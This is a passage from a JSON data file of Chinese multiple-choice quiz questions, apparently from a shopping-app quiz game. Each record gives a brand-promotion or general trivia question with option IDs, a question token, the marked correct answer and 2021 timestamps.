04:33:08","status":"1"},{"questionId":"6301443102","questionIndex":"2","questionStem":"圣牧脱脂奶的特点?","options":"[{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0CTKxHt5L0cIDAY\",\"optionDesc\":\"口感如水\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0aYpwTPxnJHqKdc\",\"optionDesc\":\"脱脂率72%\"}]","questionToken":"LccSx0BXjD_LV6_ktmQ6h4rnxe5GoJyEBvY9d87CMMnXMyxZNGZfplT1NYZtFGbSAmKK8pNp5QNuUsFaNaX1KpaYW-i1-A","correct":"{\"optionId\":\"LccSx0BXjD_LV6-1pSwh0iS5o8_vLBOzog0\",\"optionDesc\":\"女性专供奶\\t\\t\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6301443103","questionIndex":"1","questionStem":"圣牧有多少年历史?","options":"[{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0Q2oxKdzilAzyiwq\",\"optionDesc\":\"13年\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"},{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0P0LPUuzhx6gXkAy\",\"optionDesc\":\"110年\"}]","questionToken":"LccSx0BXjD_LVq_ntmQ6hza_1zceWvsBYoaGOV__Jppez9sownNGBnCloPDi9Z4WPMN3_QMtUdZ-HE3HJcwRMgv8MKNNXg","correct":"{\"optionId\":\"LccSx0BXjD_LVq-1pSwh0hp5s09uPvdjPmFW\",\"optionDesc\":\"11年\\t\"}","create_time":"27/1/2021 04:38:07","update_time":"27/1/2021 04:38:07","status":"1"},{"questionId":"6301443104","questionIndex":"5","questionStem":"曼秀雷敦由邓紫棋代言的夏季产品是什么?","options":"[{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0G5nbaEQNZG9h2Hkrw\",\"optionDesc\":\"乐肤洁祛痘\"},{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0dwBZWgFK9iHydDSIA\",\"optionDesc\":\"新碧防晒\"}]","questionToken":"LccSx0BXjD_LUa_jtmQ6h5iyKLdBoTXDommOpqJ1L6ntd8LN-ijRq7mpK0J1btfaGR8fH5sScwqKohlnT7fJMDERF_RtEg","correct":"{\"optionId\":\"LccSx0BXjD_LUa-1pSwh0hUQHhQw8PbNbLimYA\",\"optionDesc\":\"小金帽\\t\\t\"}","create_time":"27/1/2021 04:00:31","update_time":"27/1/2021 04:00:31","status":"1"},{"questionId":"6301443108","questionIndex":"4","questionStem":"曼秀雷敦的哪款唇膏稳居京东top1?","options":"[{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0L03dXyOOzqhrcPb\",\"optionDesc\":\"经典薄荷\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ZcSnKYgjtEHA1TX\",\"optionDesc\":\"什果冰系列\"},{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}]","questionToken":"LccSx0BXjD_LXa_itmQ6gHEAVQbqIYi7sSbtBylA9eo3GkJ0ClrJgSnDwNd51n70Np-iQxz2fZs4pbmY0io6rtFmQgqrKg","correct":"{\"optionId\":\"LccSx0BXjD_LXa-1pSwh0ukGgRHoG2t0s3t3\",\"optionDesc\":\"天然无香料\\t\\t\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"6301443109","questionIndex":"1","questionStem":"曼秀雷敦男士的代言人是谁?","options":"[{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0dFKXdL0JAxMzaOKjw\",\"optionDesc\":\"黄晓明\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"},{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0Do-hvZdto3zeP_hQg\",\"optionDesc\":\"虞书欣\"}]","questionToken":"LccSx0BXjD_LXK_ntmQ6gDRqHWfln-Ls8e708iqR8sy_KOZX58ynH-T80mZ4ZSHGqOfzWyJ4Ek8nysZwElEnjITenLenLw","correct":"{\"optionId\":\"LccSx0BXjD_LXK-1pSwh0pM9uzgvyj3k0wRX5A\",\"optionDesc\":\"彭于晏\"}","create_time":"27/1/2021 04:39:22","update_time":"27/1/2021 04:39:22","status":"1"},{"questionId":"6301443110","questionIndex":"2","questionStem":"以下哪个不是肌研护肤产品系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0IyJph2_DdMXfiH2LQ\",\"optionDesc\":\"白润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0ZTzAJoNyMNcnSTLHg\",\"optionDesc\":\"极润系列\"},{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}]","questionToken":"LccSx0BXjD_KVa_ktmQ6gL3_Iy0AcAW-iJX3IBU-N6CWilUDy0_XxMEQDXxIEmt-SkQMARgq5C_8e_xWowhTe-yKtI1hyg","correct":"{\"optionId\":\"LccSx0BXjD_KVa-1pSwh0uAhAQ6hVM-nxSza7w\",\"optionDesc\":\"化润系列\\t\\t\"}","create_time":"27/1/2021 04:35:42","update_time":"27/1/2021 04:35:42","status":"1"},{"questionId":"6301443111","questionIndex":"1","questionStem":"以下哪个产品是曼秀雷敦男士保湿系列?","options":"[{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0M9ZTM2Yk8fdj-6HmQ\",\"optionDesc\":\"能量活肤精华露\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0bJXvXqOiK6ispzrbg\",\"optionDesc\":\"保湿活力洁面乳\"},{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}]","questionToken":"LccSx0BXjD_KVK_ntmQ6h5jbxHb8Mm0yPLN69zjchTUC6pdbJYv2Wp_eKusGPnXBTb4Rpf42Ey9mHVt9gZgE5MK2spqBlg","correct":"{\"optionId\":\"LccSx0BXjD_KVK-1pSwh0sDRSvFMO22d0iFwpg\",\"optionDesc\":\"控油抗痘洁面乳\"}","create_time":"27/1/2021 04:49:36","update_time":"27/1/2021 04:49:36","status":"1"},{"questionId":"6301443112","questionIndex":"4","questionStem":"欧珀莱明星爆款系列是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0JOOYObm2wzdN-ON\",\"optionDesc\":\"俊士系列\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0fH2CY8dBY-HyrKd\",\"optionDesc\":\"均衡系列\"}]","questionToken":"LccSx0BXjD_KV6_itmQ6h-ojl1n2zE3rlWvsx51PdWIYYbKghI5UyWdq5WHEScTNQz--Th2mwOdZo5QmS-uJQ9Up8L3sjg","correct":"{\"optionId\":\"LccSx0BXjD_KV6-1pSwh0u3CnHzE-4XyWmk_\",\"optionDesc\":\"时光锁系列\\t\\t\"}","create_time":"27/1/2021 04:37:39","update_time":"27/1/2021 04:37:39","status":"1"},{"questionId":"6301443113","questionIndex":"1","questionStem":"欧珀莱夏季最畅销防晒是哪款?","options":"[{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0KYhr1SPmivLrybW3g\",\"optionDesc\":\"盈润修颜隔离霜\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0UdpnH2Nu0HolcPzwQ\",\"optionDesc\":\"净采修颜防晒\"}]","questionToken":"LccSx0BXjD_KVq_ntmQ6h_sVWa8bilHXWMoRaMn3orS00piL1kEoDLt9Y0L3iSrbQnpvu0NlLKtit_3Osj7kH200ev6l5A","correct":"{\"optionId\":\"LccSx0BXjD_KVq-1pSwh0uxv900mE4WVmPKCUw\",\"optionDesc\":\"烈日防晒\\t\\t\"}","create_time":"27/1/2021 04:36:28","update_time":"27/1/2021 04:36:28","status":"1"},{"questionId":"6301443114","questionIndex":"3","questionStem":"欧珀莱品牌是什么时候诞生的?","options":"[{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0H-AB0jnQ6QsU_CB\",\"optionDesc\":\"1998年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0Zd0o0Ibkqwbh5L-\",\"optionDesc\":\"1996年\"},{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}]","questionToken":"LccSx0BXjD_KUa_ltmQ6h7i5N18SvOhhYXy-erRnzw8NU_L_9arN9Q0nfYdHL3lbZ1N748Y0cxOVAT76oE_d_5u5j0f0Qw","correct":"{\"optionId\":\"LccSx0BXjD_KUa-1pSwh0h7aBI2Erfsb99GX\",\"optionDesc\":\"1994年 \\t\\t\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"6301443115","questionIndex":"2","questionStem":"欧珀莱的英文是什么?","options":"[{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0cBG4IgklfwsB_TWog\",\"optionDesc\":\"AURPES\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0EKlmE2cYYCwDmfcpQ\",\"optionDesc\":\"AUPESR\"},{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}]","questionToken":"LccSx0BXjD_KUK_ktmQ6gNvXHcgi8jCURThIQ-5YDTDErL2TSbd8d4K6sYjP_WP-vf_G7OR5tXzUxGPwAMFtpRSksUNAtg","correct":"{\"optionId\":\"LccSx0BXjD_KUK-1pSwh0uSNzFFeGH5lwQW7cQ\",\"optionDesc\":\"AUPRES\\t\\t\"}","create_time":"27/1/2021 04:49:33","update_time":"27/1/2021 04:49:33","status":"1"},{"questionId":"6301443116","questionIndex":"4","questionStem":"欧珀莱明星爆款产品是哪个?","options":"[{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0RRzTvh9007CVM_x\",\"optionDesc\":\"均衡保湿水\"},{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0OR9Qp7uxPydNbOA\",\"optionDesc\":\"俊士滋润凝乳\"}]","questionToken":"LccSx0BXjD_KU6_itmQ6gJcgw2rkuipO06pN-sgvZ5sFUk4ZR2XqkO7V83nUpApOy1ktkmu1cnw7QK0q-9E_ReUHXzTEFw","correct":"{\"optionId\":\"LccSx0BXjD_KU6-1pSwh0laSe9ov6ZYbxR_Z\",\"optionDesc\":\"时光锁眼霜\\t\\t\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"6901438976","questionIndex":"2","questionStem":"三国中“三英战吕布”没有谁?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WVtn23ZPKcE2E7r7\",\"optionDesc\":\"关羽\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"},{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WLYuzYvwQIIsD0ky\",\"optionDesc\":\"刘备\"}]","questionToken":"Lc0Sx0BQhzeiSxyyaQNvCNcIA2uJtk3NJp8B6W4_I6PWvJNhTSvKbkoZvrGmvZC-zY-AFsVwa6rPzirPCHLfZb5zBqdWyQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiSxzjekt0WmtCsw15gJX4WDf2\",\"optionDesc\":\"赵云\"}","create_time":"27/1/2021 04:33:44","update_time":"27/1/2021 04:33:44","status":"1"},{"questionId":"6901438977","questionIndex":"2","questionStem":"交响乐”通常有几个乐章?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WO1sLqlV1kq5q4TwZg\",\"optionDesc\":\"三个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WaoqrUmx7vQPyArilw\",\"optionDesc\":\"五个\"},{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}]","questionToken":"Lc0Sx0BQhzeiShyyaQNvCI2WzyHQogTbtQz_q6CRYqzlUo9Hdr_i15Mj8FA8UZcZfdtZy0ozsWErKFsxZZ0AMAWH0RGJxw","correct":"{\"optionId\":\"Lc0Sx0BQhzeiShzjekt0WnqIyKmYlO39lJyesA\",\"optionDesc\":\"四个\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438978","questionIndex":"1","questionStem":"人体最敏感的部位是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WOrRr4w5O7l--Ik\",\"optionDesc\":\"耳垂儿\"},{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WTgqUDuh_KKPWcc\",\"optionDesc\":\"指尖\"}]","questionToken":"Lc0Sx0BQhzeiRRyxaQNvCPo_UwhF7OiHxocs2PeBcymvmfZVxMjiKbf3JsZl7TNjJa_W21C_dtyA3qq1RHg6fqCvQty6tA","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRRzjekt0WkwJKS4K2ecd_yc\",\"optionDesc\":\"舌尖\"}","create_time":"27/1/2021 04:44:25","update_time":"27/1/2021 04:44:25","status":"1"},{"questionId":"6901438979","questionIndex":"4","questionStem":"“郁金香”的原产地是?","options":"[{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WOyIzdCFk4VkNEo0\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0Wef9a-6rQMw35VVo\",\"optionDesc\":\"芬兰\"}]","questionToken":"Lc0Sx0BQhzeiRBy0aQNvD6Aovj9Ihd95VR99ag2VCIdLZsRX-4dEvZIWbfk8SschCcTzt7TCZiBdRKcY7uLiWLcICFvSLQ","correct":"{\"optionId\":\"Lc0Sx0BQhzeiRBzjekt0WkfasMgwdgCs8upq\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:48:25","update_time":"27/1/2021 04:48:25","status":"1"},{"questionId":"6901438980","questionIndex":"3","questionStem":"“沃尔沃”汽车原产地?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WfxsE__t0EdJemWNSw\",\"optionDesc\":\"荷兰\"},{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WATREgRM2G5RpBcB-A\",\"optionDesc\":\"德国\"}]","questionToken":"Lc0Sx0BQhzetTRyzaQNvCFyFSV_WlCGFs83P8cZBWqCDsimmTQjEgHRXY1OIPgC8e6dSuN1OjkcCPGoYlwYnWcUeyCqFSg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTRzjekt0WgiB7UQzEtXLBWddEw\",\"optionDesc\":\"瑞典\"}","create_time":"27/1/2021 04:40:06","update_time":"27/1/2021 04:40:06","status":"1"},{"questionId":"6901438981","questionIndex":"4","questionStem":"“音乐”最早出现在?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WdqHg5_RcBa-ZCJhSA\",\"optionDesc\":\"《乐府诗集》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"},{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WGbLUdS-8DNRqtI2tA\",\"optionDesc\":\"《诗经》\"}]","questionToken":"Lc0Sx0BQhzetTBy0aQNvD_xtyKygPyZJj-g8Ijxn5S6_UGCa5BK_QEnRYBg0BcAKCRnbBbTEmdA9doGsXwNpjUcGposNrg","correct":"{\"optionId\":\"Lc0Sx0BQhzetTBzjekt0WrPD8_rmv12JKiCHHw\",\"optionDesc\":\"《吕氏春秋》\"}","create_time":"27/1/2021 04:36:29","update_time":"27/1/2021 04:36:29","status":"1"},{"questionId":"6901438982","questionIndex":"3","questionStem":"美国的国球是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WFI1WUQ1aKsogEh-qA\",\"optionDesc\":\"高尔夫球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"},{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WVqvXPsXTNYUgvDUDw\",\"optionDesc\":\"橄榄球\"}]","questionToken":"Lc0Sx0BQhzetTxyzaQNvCK4HTythvHgzOzBA16PyVny84-100Ws8JSIgOgA2_cxw-Vd5_nvI7fE5c52JhiZBV2VseB1lmQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetTxzjekt0WtjQr35DslJ4rFiUUA\",\"optionDesc\":\"棒球\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"6901438983","questionIndex":"3","questionStem":"京剧起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WeeAXRWDJLGKJBQ2tA\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WLAhpqH22VOHvQYjSw\",\"optionDesc\":\"明朝\"},{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}]","questionToken":"Lc0Sx0BQhzetThyzaQNvCIJlUQZiObpeMQQcxAynRXVvBrOrz00wGlKNR6-AyUX3wAd3Uga1DydFRXAeLUxr9FhcgDegZQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetThzjekt0WkAPz9uIPeS4OmCQRg\",\"optionDesc\":\"清朝\"}","create_time":"27/1/2021 04:45:44","update_time":"27/1/2021 04:45:44","status":"1"},{"questionId":"6901438984","questionIndex":"1","questionStem":"慈禧曾几次垂帘听政?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WPbEx-gUdEo\",\"optionDesc\":\"两次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"},{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WXB3aieeWQU\",\"optionDesc\":\"四次\"}]","questionToken":"Lc0Sx0BQhzetSRyxaQNvCK0WkgOK6uhYBi_LRMtmUB0LetJcXK4vJMbmtOqI8TH0yJMmXXeklMadZq9tuHBqA7rZttNGLw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSRzjekt0WkNSdF4r3ek\",\"optionDesc\":\"三次\"}","create_time":"27/1/2021 04:37:43","update_time":"27/1/2021 04:37:43","status":"1"},{"questionId":"6901438985","questionIndex":"3","questionStem":"“愚人节”起源于?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WOtXfyIB_8gbwFS-cA\",\"optionDesc\":\"美国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WQtOK4ohwtT8UP_gyw\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}]","questionToken":"Lc0Sx0BQhzetSByzaQNvCEX88aOiYXeU8-XEaUYlem11xVex5xxoYm7j-3p7udt4EogrwBuXySzne0EtG6C-6koRBeP0gQ","correct":"{\"optionId\":\"Lc0Sx0BQhzetSBzjekt0WlfBVyHYmFG82t1WRQ\",\"optionDesc\":\"法国\"}","create_time":"27/1/2021 03:36:59","update_time":"27/1/2021 03:36:59","status":"1"},{"questionId":"6901438986","questionIndex":"3","questionStem":"电视机是谁发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WTh4SzkNBgeRHcI\",\"optionDesc\":\"爱迪生\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WG-vCjod-WraVng\",\"optionDesc\":\"贝尔\"},{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}]","questionToken":"Lc0Sx0BQhzetSxyzaQNvDzniL015bhPpn-PFc2d6g7WDWpq_UcnsPen_ZAQ5zgJcUWm08tWvXVm3wdrtw228VYdutdu3Tw","correct":"{\"optionId\":\"Lc0Sx0BQhzetSxzjekt0WqQnRW1pXUgeFa4\",\"optionDesc\":\"贝尔德\"}","create_time":"27/1/2021 04:47:44","update_time":"27/1/2021 04:47:44","status":"1"},{"questionId":"6901438987","questionIndex":"3","questionStem":"哪种糖纯度最高?","options":"[{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WMHRM4Bed5835owObw\",\"optionDesc\":\"红糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0WU1KoMraFKWP6uwX8A\",\"optionDesc\":\"白糖\"},{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}]","questionToken":"Lc0Sx0BQhzetShyzaQNvD6xPi6HpBd-kT9L8PBnJkrSHLFCQgN-wWm39n3Jq-oLfbF2YuTJ-0a0yos8Jml3gh0DR6EBxog","correct":"{\"optionId\":\"Lc0Sx0BQhzetShzjekt0Wh5taSCX5azOana5DQ\",\"optionDesc\":\"冰糖\"}","create_time":"27/1/2021 04:49:46","update_time":"27/1/2021 04:49:46","status":"1"},{"questionId":"6901438988","questionIndex":"1","questionStem":"“都柏林”在哪个国家?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WA2tM-KMx_C7e-c\",\"optionDesc\":\"英格兰\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WeQgEMd0pGIDTnM\",\"optionDesc\":\"德国\"},{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}]","questionToken":"Lc0Sx0BQhzetRRyxaQNvD7TBtlvjp05c6p_H9e1SJG9XtR9tP7I3xdQ1kgCBKybqBEDRTzTP13kuhhk7X6y3rJDIvSqowg","correct":"{\"optionId\":\"Lc0Sx0BQhzetRRzjekt0WnxcOvwawWhv3Q4\",\"optionDesc\":\"爱尔兰\"}","create_time":"27/1/2021 04:49:12","update_time":"27/1/2021 04:49:12","status":"1"},{"questionId":"6901438989","questionIndex":"5","questionStem":"汽车中安全袋里的气体是?","options":"[{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WaBsQQv7lQDBkGYd\",\"optionDesc\":\"氖气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"},{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WJ4Sp2WtgcR496Pq\",\"optionDesc\":\"氙气\"}]","questionToken":"Lc0Sx0BQhzetRBy1aQNvCD7lhJwProJeLhPWljomXNqPDLRrJKsE5wyeCCOPEIYyFuzdE3gejqYsZvxYuhb--a91s47_jw","correct":"{\"optionId\":\"Lc0Sx0BQhzetRBzjekt0WgWRrb7xIgPNTwYo\",\"optionDesc\":\"氮气\"}","create_time":"27/1/2021 04:48:36","update_time":"27/1/2021 04:48:36","status":"1"},{"questionId":"6901438990","questionIndex":"5","questionStem":"象脚鼓是哪个民族乐器?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0Wdra-jMaQp3ZFAQL\",\"optionDesc\":\"苗族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"},{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WHSLnTt2-4Nztn_Z\",\"optionDesc\":\"朝鲜族\"}]","questionToken":"Lc0Sx0BQhzesTRy1aQNvDzd_xKin29MHthexslebuL-NIGZmECX8mIjPyKmENP8uzNT8U4kTqR2BcQ6Ih_Zy_muvXPxRXA","correct":"{\"optionId\":\"Lc0Sx0BQhzesTRzjekt0WkOVD2ESki-uj9rI\",\"optionDesc\":\"傣族\"}","create_time":"27/1/2021 04:50:44","update_time":"27/1/2021 04:50:44","status":"1"},{"questionId":"6901438991","questionIndex":"1","questionStem":"蚊子最怕什么味道?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WNwwb03zijvXf46Nbg\",\"optionDesc\":\"酒味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"},{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WVMFPcbAZkUxTWpH4Q\",\"optionDesc\":\"汗味\"}]","questionToken":"Lc0Sx0BQhzesTByxaQNvDxIpLyjNXxQ6GFrixTnz96A7KEeVlQBPP9_o-BLLy7ow0bs5P937h0BdWnBTsPld3dyIduA0ow","correct":"{\"optionId\":\"Lc0Sx0BQhzesTBzjekt0WvqZz27D84L2SyYBBA\",\"optionDesc\":\"漂白粉味\"}","create_time":"27/1/2021 04:00:27","update_time":"27/1/2021 04:00:27","status":"1"},{"questionId":"6901438992","questionIndex":"5","questionStem":"古代“如意”最早指?","options":"[{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wfh0pgm9l0P2SC01\",\"optionDesc\":\"祈福物\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0WHTpdxfWPyeUgCZr\",\"optionDesc\":\"美容用具\"},{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}]","questionToken":"Lc0Sx0BQhzesTxy1aQNvCIv9VYM4_SSixe7wmrB9aK8Ba1Jsd5T-Kbbx2bNwbZTZxJBe_7kUdo_TD3DY-n72lnXpMoJEfQ","correct":"{\"optionId\":\"Lc0Sx0BQhzesTxzjekt0Wi9l7YwmUmn6Eubz\",\"optionDesc\":\"痒痒挠\"}","create_time":"27/1/2021 04:48:00","update_time":"27/1/2021 04:48:00","status":"1"},{"questionId":"6901438993","questionIndex":"5","questionStem":"埃及的新年在什么季节?","options":"[{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WUDPEHws36joYYYt1g\",\"optionDesc\":\"冬季\"},{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WPSPeMrzXTFVwqnQ7w\",\"optionDesc\":\"春季\"}]","questionToken":"Lc0Sx0BQhzesThy1aQNvD1T6YOzb9QLAH3LhuR78nZ2RW555cHAmeIzOqBJQhEQFq0lFaODs9kGGnuUhem5KipQ8Ldlt2g","correct":"{\"optionId\":\"Lc0Sx0BQhzesThzjekt0WnJIDxOPut0hgWNdxQ\",\"optionDesc\":\"秋季\"}","create_time":"27/1/2021 04:36:55","update_time":"27/1/2021 04:36:55","status":"1"},{"questionId":"6901438994","questionIndex":"1","questionStem":"“商人”的“商”最早指的是?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WA_TEf3DeG6MvWEPnQ\",\"optionDesc\":\"商量\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WV_tek3P-wjmC92A_w\",\"optionDesc\":\"钱币\"},{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}]","questionToken":"Lc0Sx0BQhzesSRyxaQNvCP8K3AvUd-4E_O2t6n4zK2R_b0OVXRxoVuUOxE4Xb3VDPum-n7FiBHaJvmGuPzMZb1EfgmQ2Jw","correct":"{\"optionId\":\"Lc0Sx0BQhzesSRzjekt0WoZUGr1sv3LSgsKIug\",\"optionDesc\":\"商朝\"}","create_time":"27/1/2021 04:49:48","update_time":"27/1/2021 04:49:48","status":"1"},{"questionId":"6901438995","questionIndex":"5","questionStem":"“味精”是哪国人发明的?","options":"[{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WTJ5x-SZeAZHlASVsA\",\"optionDesc\":\"韩国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0WJnw9gP9JLcEJPtqlQ\",\"optionDesc\":\"中国\"},{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}]","questionToken":"Lc0Sx0BQhzesSBy1aQNvCIW-BwFC-FVMNSZIaHENewEEb55re7NwDhKrZlWkbbVjPp4LZbysaeys9qeynGFKV6kp8IWSww","correct":"{\"optionId\":\"Lc0Sx0BQhzesSBzjekt0Wrl-4rm5Yv_MRWDalw\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:49:57","update_time":"27/1/2021 